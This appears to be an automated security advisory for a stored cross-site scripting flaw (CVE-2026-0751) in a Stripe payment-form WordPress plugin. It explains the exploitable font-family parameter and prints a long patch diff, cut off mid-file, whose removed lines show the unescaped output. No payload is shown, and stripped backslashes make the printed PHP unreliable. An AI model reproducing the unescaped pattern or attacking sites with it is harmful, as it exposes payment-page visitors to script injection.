Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0751: Payment Page | Payment Form for Stripe <= 1.4.6 – Authenticated (Author+) Stored Cross-Site Scripting via 'pricing_plan_select_text_font_family' Parameter (payment-page)

CVE ID CVE-2026-0751
Plugin payment-page
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4.6
Patched Version 1.4.7
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0751:
The Payment Page | Payment Form for Stripe WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 1.4.6. The vulnerability affects the plugin’s payment form styling functionality and allows attackers with Author-level access or higher to inject malicious scripts that execute when users view compromised payment pages.

Root Cause:
The vulnerability originates in the PaymentForm.php file’s _get_pricing_plan_select_css_variables() method. Specifically, line 309 in the patched version shows the plugin directly outputs the ‘pricing_plan_select_text_font_family’ parameter value without proper escaping. In the vulnerable version, line 306 (before patching) contains ‘$response .= ‘–payment-page-element-form-select-font-family : ‘ . $settings[‘pricing_plan_select_text_font_family’] . ‘;’ . “n”;’ with no sanitization. This parameter value flows from user input through the plugin’s settings storage and into CSS variable declarations that render on public payment pages.

Exploitation:
An attacker with Author privileges or higher can exploit this vulnerability by accessing the plugin’s payment form settings interface. The attacker injects malicious JavaScript payloads into the ‘pricing_plan_select_text_font_family’ parameter field. When the plugin saves these settings, the payload persists in the database. The payload executes whenever any user views a payment page that uses the compromised form settings, as the malicious content renders directly into the page’s CSS variables without output escaping.

Patch Analysis:
The patch adds proper output escaping using esc_attr() function calls for multiple user-controlled parameters. For the ‘pricing_plan_select_text_font_family’ parameter specifically, line 309 in PaymentForm.php changes from direct concatenation to ‘$response .= ‘–payment-page-element-form-select-font-family : ‘ . esc_attr( $settings[‘pricing_plan_select_text_font_family’] ) . ‘;’ . “n”;’. The patch applies similar esc_attr() protection to 14 other font family parameters throughout the same file, including ‘pricing_plan_select_title_font_family’, ‘form_field_label_font_family’, and ‘form_field_input_font_family’.

Impact:
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing affected payment pages. This enables session hijacking, credential theft, content manipulation, and redirection to malicious sites. Since the payload stores persistently, it affects all subsequent visitors to compromised payment pages until administrators remove the malicious code. The Author-level access requirement limits immediate widespread impact but provides significant privilege within multi-author WordPress installations.

Differential between vulnerable and patched code

Code Diff
--- a/payment-page/app/API/Features.php
+++ b/payment-page/app/API/Features.php
@@ -2,6 +2,8 @@

 namespace PaymentPageAPI;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * Class Features
  *
--- a/payment-page/app/API/Notification.php
+++ b/payment-page/app/API/Notification.php
@@ -2,6 +2,8 @@

 namespace PaymentPageAPI;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageThirdPartyIntegrationFreemius as PP_Freemius;

 /**
--- a/payment-page/app/API/PaymentPage.php
+++ b/payment-page/app/API/PaymentPage.php
@@ -2,6 +2,8 @@

 namespace PaymentPageAPI;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageThirdPartyIntegrationFreemius as PP_Freemius;

 /**
--- a/payment-page/app/AdminController.php
+++ b/payment-page/app/AdminController.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class AdminController {

 	/**
@@ -42,8 +44,11 @@
 			add_action( 'init', array( $this, '_setup_rules_flush_action_init' ), 7 );
 		}

-		if ( isset( $_GET[ PAYMENT_PAGE_PREFIX . '-action' ] ) && isset( $this->_action_map[ $_GET[ PAYMENT_PAGE_PREFIX . '-action' ] ] ) ) {
-			add_action( 'init', array( $this, $this->_action_map[ $_GET[ PAYMENT_PAGE_PREFIX . '-action' ] ] ) );
+		if ( isset( $_GET[ PAYMENT_PAGE_PREFIX . '-action' ] ) ) {
+			$action_key = sanitize_text_field( wp_unslash( $_GET[ PAYMENT_PAGE_PREFIX . '-action' ] ) );
+			if ( isset( $this->_action_map[ $action_key ] ) ) {
+				add_action( 'init', array( $this, $this->_action_map[ $action_key ] ) );
+			}
 		}
 	}

@@ -67,8 +72,8 @@
 		$content = wp_kses( $latest_notification['content'], payment_page_content_allowed_html_tags(), $protocols );

 		echo '<div id="payment-page-notification-container" class="notice notice-info is-dismissible">
-            <h2>' . $latest_notification['title'] . '</h2>
-            ' . $content . '
+            <h2>' . esc_html( $latest_notification['title'] ) . '</h2>
+            ' . wp_kses_post( $content ) . '
           </div>';
 	}

@@ -155,7 +160,7 @@

 	public function _action_force_db_table_integrity() {
 		if ( ! current_user_can( PAYMENT_PAGE_ADMIN_CAP ) ) {
-			exit( __( 'Invalid Request', 'payment_page' ) );
+			exit( esc_html__( 'Invalid Request', 'payment-page' ) );
 		}

 		$response = Migration::instance()->fix_table_structure( true );
@@ -163,7 +168,7 @@
 		if ( is_array( $response ) ) {
 			payment_page_debug_dump( base64_decode( $response['table_query_b64'] ) );

-			exit( __( 'Did not manage to fix Table Structure', 'payment_page' ) );
+			exit( esc_html__( 'Did not manage to fix Table Structure', 'payment-page' ) );
 		}

 		payment_page_redirect( get_admin_url( null, 'site-health.php' ), 302 );
--- a/payment-page/app/Controller.php
+++ b/payment-page/app/Controller.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use WP_Query;

 class Controller {
@@ -46,8 +48,6 @@
 			define( 'PAYMENT_PAGE_FEATURES_API_URL', 'https://api.paymentpageplugin.com/wp-json/features-api/v1/' );
 		}

-		load_plugin_textdomain( 'payment-page', false, PAYMENT_PAGE_LANGUAGE_DIRECTORY );
-
 		add_action( 'wp_enqueue_scripts', 'payment_page_register_universal_interface', 5 );
 		add_action( 'admin_bar_menu', array( $this, '_admin_bar_menu' ), 999 );

@@ -96,6 +96,7 @@
 			array(
 				'parent' => 'top-secondary',
 				'id'     => PAYMENT_PAGE_ALIAS,
+				/* translators: %s: payment mode (Live, Test, or Mixed) */
 				'title'  => sprintf( __( 'Payment Page %s Mode', 'payment-page' ), ( $map['live'] > 0 && $map['test'] > 0 ? 'Mixed' : ( $map['test'] === 0 ? 'Live' : 'Test' ) ) ),
 				'href'   => esc_url( admin_url( 'admin.php?page=' . PAYMENT_PAGE_MENU_SLUG ) ) . '#payment-gateways',
 				'meta'   => array(
@@ -139,7 +140,7 @@
 		header( 'Cache-Control: must-revalidate' );
 		header( 'Pragma: public' );
 		header( 'Content-Length: ' . filesize( $file ) );
-		readfile( $file );
+		readfile( $file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_readfile -- Streaming Apple Pay verification file to browser
 		exit;
 	}

--- a/payment-page/app/Migration.php
+++ b/payment-page/app/Migration.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageMigrationAdmin as Payment_Page_Migration_Admin;

 class Migration {
@@ -207,12 +209,13 @@
 	}

 	public function migrate_to_version( string $version_number ): string {
-		@set_time_limit( 0 );
-		@ini_set( 'memory_limit', '512M' );
+		@set_time_limit( 0 ); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged -- Required for long-running database migrations
+		@ini_set( 'memory_limit', '512M' ); // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged -- Required for large database migrations

 		$last_migration = get_option( $this->option_alias_progress, 0 );

 		if ( time() - $last_migration < 30 ) {
+			/* translators: %s: number of seconds ago */
 			return '<p>' . sprintf( __( 'Migration currently marked in progress, it started %s seconds ago.', 'payment-page' ), ( $last_migration == 0 ? 'too many' : time() - $last_migration ) ) . '</p>' .
 				   '<p><a class="button button-primary payment-page-migration-continue">' . __( 'Retry', 'payment-page' ) . '</a></p>';
 		}
@@ -241,6 +244,7 @@
 			}

 			if ( ! file_exists( $this->version_file_folder . $migration_file ) ) {
+				/* translators: %s: migration file path */
 				$migrate_to_version_response .= '<p data-payment-page-notification="danger">' . sprintf( __( 'File not found %s.', 'payment-page' ), $this->version_file_folder . $migration_file ) . '</p>';
 				$migrate_to_version_response .= '<p><a class="button button-primary payment-page-migration-continue">' . __( 'Retry', 'payment-page' ) . '</a></p>';
 				$migration_okay               = false;
--- a/payment-page/app/Migration/Admin.php
+++ b/payment-page/app/Migration/Admin.php
@@ -2,6 +2,8 @@

 namespace PaymentPageMigration;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageMigration;
 use PaymentPageSettings;

@@ -39,6 +41,7 @@

 	public function _register_menu() {
 		payment_page_admin_register_menu(
+			/* translators: %s: plugin name */
 			sprintf( __( '%s Migration', 'payment-page' ), PAYMENT_PAGE_NAME ),
 			__( 'Migration', 'payment-page' ),
 			PAYMENT_PAGE_ADMIN_CAP,
@@ -49,12 +52,14 @@

 	public function display() {
 		echo '<div class="wrap">';
-		echo '<h2>' . sprintf( __( '%s Migration', 'payment-page' ), PAYMENT_PAGE_NAME ) . '</h2>';
+		/* translators: %s: plugin name */
+		echo '<h2>' . esc_html( sprintf( __( '%s Migration', 'payment-page' ), PAYMENT_PAGE_NAME ) ) . '</h2>';
 		echo '<hr/>';

-		echo '<p>' . sprintf( __( "You're about to upgrade to %1$s version %2$s this version brings in database upgrades.", 'payment-page' ), PAYMENT_PAGE_NAME, PAYMENT_PAGE_VERSION ) . '</p>';
-		echo '<p>' . __( 'Please do not close this screen after pressing continue, until the update is completed.', 'payment-page' ) . '</p>';
-		echo '<a class="button button-primary payment-page-migration-continue">' . __( 'Continue', 'payment-page' ) . '</a>';
+		/* translators: %1$s: plugin name, %2$s: plugin version */
+		echo '<p>' . esc_html( sprintf( __( "You're about to upgrade to %1$s version %2$s this version brings in database upgrades.", 'payment-page' ), PAYMENT_PAGE_NAME, PAYMENT_PAGE_VERSION ) ) . '</p>';
+		echo '<p>' . esc_html__( 'Please do not close this screen after pressing continue, until the update is completed.', 'payment-page' ) . '</p>';
+		echo '<a class="button button-primary payment-page-migration-continue">' . esc_html__( 'Continue', 'payment-page' ) . '</a>';

 		echo '<div id="migration-payment-page-spinner-loader-container" style="display:none;"></div>';

@@ -162,9 +167,10 @@
 		$url = admin_url( 'admin.php?page=payment-page-migration' );

 		echo '<div class="notice notice-success is-dismissible">';
-		echo '<h2>' . sprintf( __( '%s Database Upgrade', 'payment-page' ), PAYMENT_PAGE_NAME ) . '</h2>';
-		echo '<p>' . sprintf( 'Before you continue to use %s you need to migrate to the newest version.', PAYMENT_PAGE_NAME ) . '</p>';
-		echo '<p><a class="button button-primary" href="' . $url . '">' . __( 'Click here to continue', 'payment-page' ) . '</a></p>';
+		/* translators: %s: plugin name */
+		echo '<h2>' . esc_html( sprintf( __( '%s Database Upgrade', 'payment-page' ), PAYMENT_PAGE_NAME ) ) . '</h2>';
+		echo '<p>' . esc_html( sprintf( 'Before you continue to use %s you need to migrate to the newest version.', PAYMENT_PAGE_NAME ) ) . '</p>';
+		echo '<p><a class="button button-primary" href="' . esc_url( $url ) . '">' . esc_html__( 'Click here to continue', 'payment-page' ) . '</a></p>';
 		echo '</div>';

 	}
@@ -175,9 +181,9 @@
 		}

 		if ( Migration::instance()->current_version >= Migration::instance()->current_version_available ) {
-			echo '<p class="payment-page-migration-complete">' . __( 'Database successfully updated. Continue to: ', 'payment-page' ) . '</p>';
+			echo '<p class="payment-page-migration-complete">' . esc_html__( 'Database successfully updated. Continue to: ', 'payment-page' ) . '</p>';
 			echo '<p>';
-			echo '<a href="' . admin_url( PAYMENT_PAGE_DEFAULT_URL_PATH ) . '" class="button button-primary">' . __( 'Manage Settings', 'payment-page' ) . '</a> ';
+			echo '<a href="' . esc_url( admin_url( PAYMENT_PAGE_DEFAULT_URL_PATH ) ) . '" class="button button-primary">' . esc_html__( 'Manage Settings', 'payment-page' ) . '</a> ';
 			echo '</p>';
 			exit;
 		}
@@ -185,19 +191,21 @@
 		$version = Migration::instance()->get_current_migration_version();

 		if ( $version === false ) {
-			echo '<p data-payment-page-notification="danger">' . __( 'Could not determine the migration version.', 'payment-page' ) . '</p>';
-			echo '<p><a class="button button-primary payment-page-migration-continue">' . __( 'Retry', 'payment-page' ) . '</a></p>';
+			echo '<p data-payment-page-notification="danger">' . esc_html__( 'Could not determine the migration version.', 'payment-page' ) . '</p>';
+			echo '<p><a class="button button-primary payment-page-migration-continue">' . esc_html__( 'Retry', 'payment-page' ) . '</a></p>';
 			exit;
 		}

 		$attempt = ( isset( $_POST['attempt'] ) ? intval( $_POST['attempt'] ) : 0 );

-		echo '<p data-payment-page-migration-version="' . $version . '">';
-		echo sprintf( __( 'Processing File: %s', 'payment-page' ), $version );
+		echo '<p data-payment-page-migration-version="' . esc_attr( $version ) . '">';
+		/* translators: %s: migration version number */
+		echo esc_html( sprintf( __( 'Processing File: %s', 'payment-page' ), $version ) );

 		if ( $attempt !== 0 ) {
-			echo '<span data-payment-page-migration-attempt="' . $attempt . '">';
-			echo '( ' . sprintf( __( 'Retry Attempt : %1$s; Current Version: %2$s', 'payment-page' ), $attempt, Migration::instance()->current_version ) . ' )';
+			echo '<span data-payment-page-migration-attempt="' . esc_attr( $attempt ) . '">';
+			/* translators: %1$s: attempt number, %2$s: current migration version */
+			echo '( ' . esc_html( sprintf( __( 'Retry Attempt : %1$s; Current Version: %2$s', 'payment-page' ), $attempt, Migration::instance()->current_version ) ) . ' )';
 			echo '</span>';
 		}
 		echo '</p>';
@@ -207,12 +215,13 @@
 			update_option( Migration::instance()->option_alias_version, $version );

 			echo '<p data-payment-page-notification="danger">';
-			echo sprintf( __( 'Skipped Migration file for version: %s, check your Platform Health Report for possible issues.', 'payment-page' ), $version );
+			/* translators: %s: migration version number */
+			echo esc_html( sprintf( __( 'Skipped Migration file for version: %s, check your Platform Health Report for possible issues.', 'payment-page' ), $version ) );
 			echo '</p>';
 			exit;
 		}

-		echo Migration::instance()->migrate_to_version( $version );
+		echo wp_kses_post( Migration::instance()->migrate_to_version( $version ) );

 		Settings::instance()->update(
 			[
--- a/payment-page/app/Model/Log.php
+++ b/payment-page/app/Model/Log.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class Log extends Skeleton {

 	public static $table = PAYMENT_PAGE_TABLE_LOG;
--- a/payment-page/app/Model/Payments.php
+++ b/payment-page/app/Model/Payments.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class Payments extends Skeleton {

 	public static $table = PAYMENT_PAGE_TABLE_PAYMENTS;
--- a/payment-page/app/Model/Skeleton.php
+++ b/payment-page/app/Model/Skeleton.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use Exception;

 class Skeleton {
@@ -45,7 +47,8 @@
 		$model->get();

 		if ( ! $model->exists() ) {
-			throw new Exception( sprintf( __( 'Failed to find %s.', 'payment-page' ), static::$table ) );
+			/* translators: %s: database table name */
+			throw new Exception( esc_html( sprintf( __( 'Failed to find %s.', 'payment-page' ), static::$table ) ) );
 		}

 		return $model;
@@ -255,7 +258,8 @@
 		if ( false !== payment_page_wpdb()->insert( payment_page_wpdb()->prefix . static::$table, $insert_data ) ) {
 			$this->id = payment_page_wpdb()->insert_id;
 		} else {
-			throw new Exception( sprintf( __( 'Failed to insert %1$s - %2$s.', 'payment-page' ), static::$table, payment_page_wpdb()->last_error ) );
+			/* translators: %1$s: database table name, %2$s: error message */
+			throw new Exception( esc_html( sprintf( __( 'Failed to insert %1$s - %2$s.', 'payment-page' ), static::$table, payment_page_wpdb()->last_error ) ) );
 		}

 		return $this;
@@ -329,7 +333,8 @@
 		}

 		if ( false === payment_page_wpdb()->update( payment_page_wpdb()->prefix . static::$table, $update_data, [ 'id' => $this->id ] ) ) {
-			throw new Exception( sprintf( __( 'Failed to update %1$s for id %2$s.', 'payment-page' ), static::$table, $this->id ) );
+			/* translators: %1$s: database table name, %2$s: record ID */
+			throw new Exception( esc_html( sprintf( __( 'Failed to update %1$s for id %2$s.', 'payment-page' ), static::$table, $this->id ) ) );
 		}

 		return $this;
--- a/payment-page/app/Model/StripeCustomers.php
+++ b/payment-page/app/Model/StripeCustomers.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class StripeCustomers extends Skeleton {

 	public static $table = PAYMENT_PAGE_TABLE_STRIPE_CUSTOMERS;
--- a/payment-page/app/Model/StripePrices.php
+++ b/payment-page/app/Model/StripePrices.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class StripePrices extends Skeleton {

 	public static $table = PAYMENT_PAGE_TABLE_STRIPE_PRICES;
--- a/payment-page/app/Model/StripeProducts.php
+++ b/payment-page/app/Model/StripeProducts.php
@@ -2,6 +2,8 @@

 namespace PaymentPageModel;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class StripeProducts extends Skeleton {

 	public static $table = PAYMENT_PAGE_TABLE_STRIPE_PRODUCTS;
--- a/payment-page/app/PaymentForm.php
+++ b/payment-page/app/PaymentForm.php
@@ -2,6 +2,8 @@

 namespace PaymentPage;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use PaymentPageMigrationAdmin as Payment_Page_Migration_Admin;
 use PaymentPageThirdPartyIntegrationFreemius as FS_Integration;
 use PaymentPagePostTypesFormFieldMap as PaymentPage_PostType_Form_FieldMap;
@@ -157,11 +159,12 @@
 				                                 ? [
 				                                 'stripe' => [
 					                                 'warning'         => (
-					                                 $stripeIntegration->is_live()
-						                                 ? ''
-						                                 : '<div data-payment-page-notification="warning">' .
-						                                   sprintf(
-							                                   __( "When in TEST mode, use %s 4242 4242 4242 4242 with any exp date and CVV.", "payment-page" ),
+				                                 $stripeIntegration->is_live()
+					                                 ? ''
+					                                 : '<div data-payment-page-notification="warning">' .
+					                                   sprintf(
+						                                   /* translators: %s: Stripe card testing details link */
+						                                   __( "When in TEST mode, use %s 4242 4242 4242 4242 with any exp date and CVV.", "payment-page" ),
 							                                   '<a href="https://stripe.com/docs/testing" target="_blank">' . __( "Stripe card testing details >", "payment-page" ) . '</a>'
 						                                   ) .
 						                                   '</div>'
@@ -274,7 +277,7 @@
 		$response = '';

 		if ( isset( $settings['pricing_plan_select_border_color'] ) && isset( $settings['pricing_plan_select_border_size'] ) ) {
-			$response .= '--payment-page-element-form-select-border : ' . payment_page_form_setting_to_css_variable_border( $settings['pricing_plan_select_border_size'], $settings['pricing_plan_select_border_color'] ) . ';' . "n";
+			$response .= '--payment-page-element-form-select-border : ' . payment_page_form_setting_to_css_variable_border( $settings['pricing_plan_select_border_size'], esc_attr( $settings['pricing_plan_select_border_color'] ) ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_border_radius'] ) ) {
@@ -295,7 +298,7 @@
 		}

 		if ( isset( $settings['pricing_plan_select_text_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-select-text-transform : ' . $settings['pricing_plan_select_text_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-select-text-transform : ' . esc_attr( $settings['pricing_plan_select_text_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_text_font_size'] ) ) {
@@ -303,11 +306,11 @@
 		}

 		if ( isset( $settings['pricing_plan_select_text_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-select-font-weight : ' . $settings['pricing_plan_select_text_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-select-font-weight : ' . esc_attr( $settings['pricing_plan_select_text_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_text_font_family'] ) ) {
-			$response .= '--payment-page-element-form-select-font-family : ' . $settings['pricing_plan_select_text_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-select-font-family : ' . esc_attr( $settings['pricing_plan_select_text_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_option_background_color'] ) ) {
@@ -325,7 +328,7 @@
 		$response = '';

 		if ( isset( $settings['payment_method_items_per_row'] ) ) {
-			$response .= '--payment-page-element-form-payment-method-per-row : ' . $settings['payment_method_items_per_row'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-method-per-row : ' . intval( $settings['payment_method_items_per_row'] ) . ';' . "n";
 		}

 		if ( isset( $settings['payment_method_item_image_height'] ) ) {
@@ -341,7 +344,7 @@
 		}

 		if ( isset( $settings['payment_method_section_title_style_font_family'] ) ) {
-			$response .= '--payment-page-element-form-payment-method-title-font-family : ' . $settings['payment_method_section_title_style_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-method-title-font-family : ' . esc_attr( $settings['payment_method_section_title_style_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['payment_method_section_title_style_font_size'] ) ) {
@@ -349,11 +352,11 @@
 		}

 		if ( isset( $settings['payment_method_section_title_style_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-payment-method-title-font-weight : ' . $settings['payment_method_section_title_style_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-method-title-font-weight : ' . esc_attr( $settings['payment_method_section_title_style_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['payment_method_section_title_style_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-payment-method-title-text-transform : ' . $settings['payment_method_section_title_style_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-method-title-text-transform : ' . esc_attr( $settings['payment_method_section_title_style_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['global_options_title_margin'] ) ) {
@@ -452,7 +455,7 @@
 		}

 		if ( isset( $settings['pricing_plan_select_title_font_family'] ) ) {
-			$response .= '--payment-page-element-form-pricing-plans-title-font-family : ' . $settings['pricing_plan_select_title_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-pricing-plans-title-font-family : ' . esc_attr( $settings['pricing_plan_select_title_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_title_font_size'] ) ) {
@@ -460,11 +463,11 @@
 		}

 		if ( isset( $settings['pricing_plan_select_title_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-pricing-plans-title-font-weight : ' . $settings['pricing_plan_select_title_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-pricing-plans-title-font-weight : ' . esc_attr( $settings['pricing_plan_select_title_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_select_title_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-pricing-plans-title-text-transform : ' . $settings['pricing_plan_select_title_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-pricing-plans-title-text-transform : ' . esc_attr( $settings['pricing_plan_select_title_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['global_options_title_margin'] ) ) {
@@ -477,7 +480,7 @@
 		}

 		if ( isset( $settings['pricing_plan_custom_amount_font_family'] ) ) {
-			$response .= '--payment-page-element-form-custom-amount-title-font-family : ' . $settings['pricing_plan_custom_amount_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-custom-amount-title-font-family : ' . esc_attr( $settings['pricing_plan_custom_amount_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_custom_amount_font_size'] ) ) {
@@ -485,11 +488,11 @@
 		}

 		if ( isset( $settings['pricing_plan_custom_amount_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-custom-amount-title-font-weight : ' . $settings['pricing_plan_custom_amount_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-custom-amount-title-font-weight : ' . esc_attr( $settings['pricing_plan_custom_amount_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['pricing_plan_custom_amount_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-custom-amount-title-text-transform : ' . $settings['pricing_plan_custom_amount_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-custom-amount-title-text-transform : ' . esc_attr( $settings['pricing_plan_custom_amount_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['global_options_title_margin'] ) ) {
@@ -502,7 +505,7 @@
 		}

 		if ( isset( $settings['form_section_title_style_font_family'] ) ) {
-			$response .= '--payment-page-element-form-payment-information-title-font-family : ' . $settings['form_section_title_style_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-information-title-font-family : ' . esc_attr( $settings['form_section_title_style_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_section_title_style_font_size'] ) ) {
@@ -510,11 +513,11 @@
 		}

 		if ( isset( $settings['form_section_title_style_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-payment-information-title-font-weight : ' . $settings['form_section_title_style_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-information-title-font-weight : ' . esc_attr( $settings['form_section_title_style_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_section_title_style_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-payment-information-title-text-transform : ' . $settings['form_section_title_style_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-payment-information-title-text-transform : ' . esc_attr( $settings['form_section_title_style_font_transform'] ) . ';' . "n";
 		}

 		if ( isset( $settings['global_options_title_margin'] ) ) {
@@ -532,7 +535,7 @@
 		}

 		if ( isset( $settings['form_field_label_font_family'] ) ) {
-			$response .= '--payment-page-element-form-label-font-family : ' . $settings['form_field_label_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-font-family : ' . esc_attr( $settings['form_field_label_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_label_font_size'] ) ) {
@@ -540,11 +543,11 @@
 		}

 		if ( isset( $settings['form_field_label_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-label-font-weight : ' . $settings['form_field_label_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-font-weight : ' . esc_attr( $settings['form_field_label_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_label_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-label-text-transform : ' . $settings['form_field_label_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-text-transform : ' . esc_attr( $settings['form_field_label_font_transform'] ) . ';' . "n";
 		}


@@ -553,7 +556,7 @@
 		}

 		if ( isset( $settings['form_field_label_active_font_family'] ) ) {
-			$response .= '--payment-page-element-form-label-active-font-family : ' . $settings['form_field_label_active_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-active-font-family : ' . esc_attr( $settings['form_field_label_active_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_label_active_font_size'] ) ) {
@@ -561,11 +564,11 @@
 		}

 		if ( isset( $settings['form_field_label_active_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-label-active-font-weight : ' . $settings['form_field_label_active_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-active-font-weight : ' . esc_attr( $settings['form_field_label_active_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_label_active_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-label-active-text-transform : ' . $settings['form_field_label_active_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-label-active-text-transform : ' . esc_attr( $settings['form_field_label_active_font_transform'] ) . ';' . "n";
 		}

 		return $response;
@@ -579,7 +582,7 @@
 		}

 		if ( isset( $settings['form_field_input_font_family'] ) ) {
-			$response .= '--payment-page-element-form-input-font-family : ' . $settings['form_field_input_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-font-family : ' . esc_attr( $settings['form_field_input_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_input_font_size'] ) ) {
@@ -587,11 +590,11 @@
 		}

 		if ( isset( $settings['form_field_input_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-input-font-weight : ' . $settings['form_field_input_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-font-weight : ' . esc_attr( $settings['form_field_input_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_input_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-input-text-transform : ' . $settings['form_field_input_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-text-transform : ' . esc_attr( $settings['form_field_input_font_transform'] ) . ';' . "n";
 		}


@@ -600,7 +603,7 @@
 		}

 		if ( isset( $settings['form_field_input_placeholder_font_family'] ) ) {
-			$response .= '--payment-page-element-form-input-placeholder-font-family : ' . $settings['form_field_input_placeholder_font_family'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-placeholder-font-family : ' . esc_attr( $settings['form_field_input_placeholder_font_family'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_input_placeholder_font_size'] ) ) {
@@ -608,11 +611,11 @@
 		}

 		if ( isset( $settings['form_field_input_placeholder_font_weight'] ) ) {
-			$response .= '--payment-page-element-form-input-placeholder-font-weight : ' . $settings['form_field_input_placeholder_font_weight'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-placeholder-font-weight : ' . esc_attr( $settings['form_field_input_placeholder_font_weight'] ) . ';' . "n";
 		}

 		if ( isset( $settings['form_field_input_placeholder_font_transform'] ) ) {
-			$response .= '--payment-page-element-form-input-placeholder-text-transform : ' . $settings['form_field_input_placeholder_font_transform'] . ';' . "n";
+			$response .= '--payment-page-element-form-input-placeholder-text-transform : ' . esc_attr( $settings['form_field_input_placeholder_font_transform'] ) . ';' . "n";
 		}

 		return $response;
@@ -664,7 +667,7 @@
 		//// Triggers

 		if ( isset( $settings['switcher_text_font_family'] ) ) {
-			$response .= '--payment-page-element-pricing-filter-trigger-font-family : ' . $settings['switcher_text_font_family'] . ';' . "n";
